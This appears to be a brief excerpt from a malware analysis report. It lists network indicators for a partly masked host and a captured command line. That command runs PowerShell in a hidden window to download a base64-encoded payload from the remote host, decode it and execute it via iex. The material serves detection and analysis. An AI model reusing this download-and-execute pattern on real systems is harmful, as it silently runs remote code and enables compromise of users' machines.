Technical Information
- http://li##.#hrishenel.com/?ne########################
- 'li##.#hrishenel.com':80
- DNS ASK li##.#hrishenel.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' iujby="tsgw";iex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Object Net.WebClient).DownloadString('http://li##.#hrishenel.com/?ne################...' (with hidden window)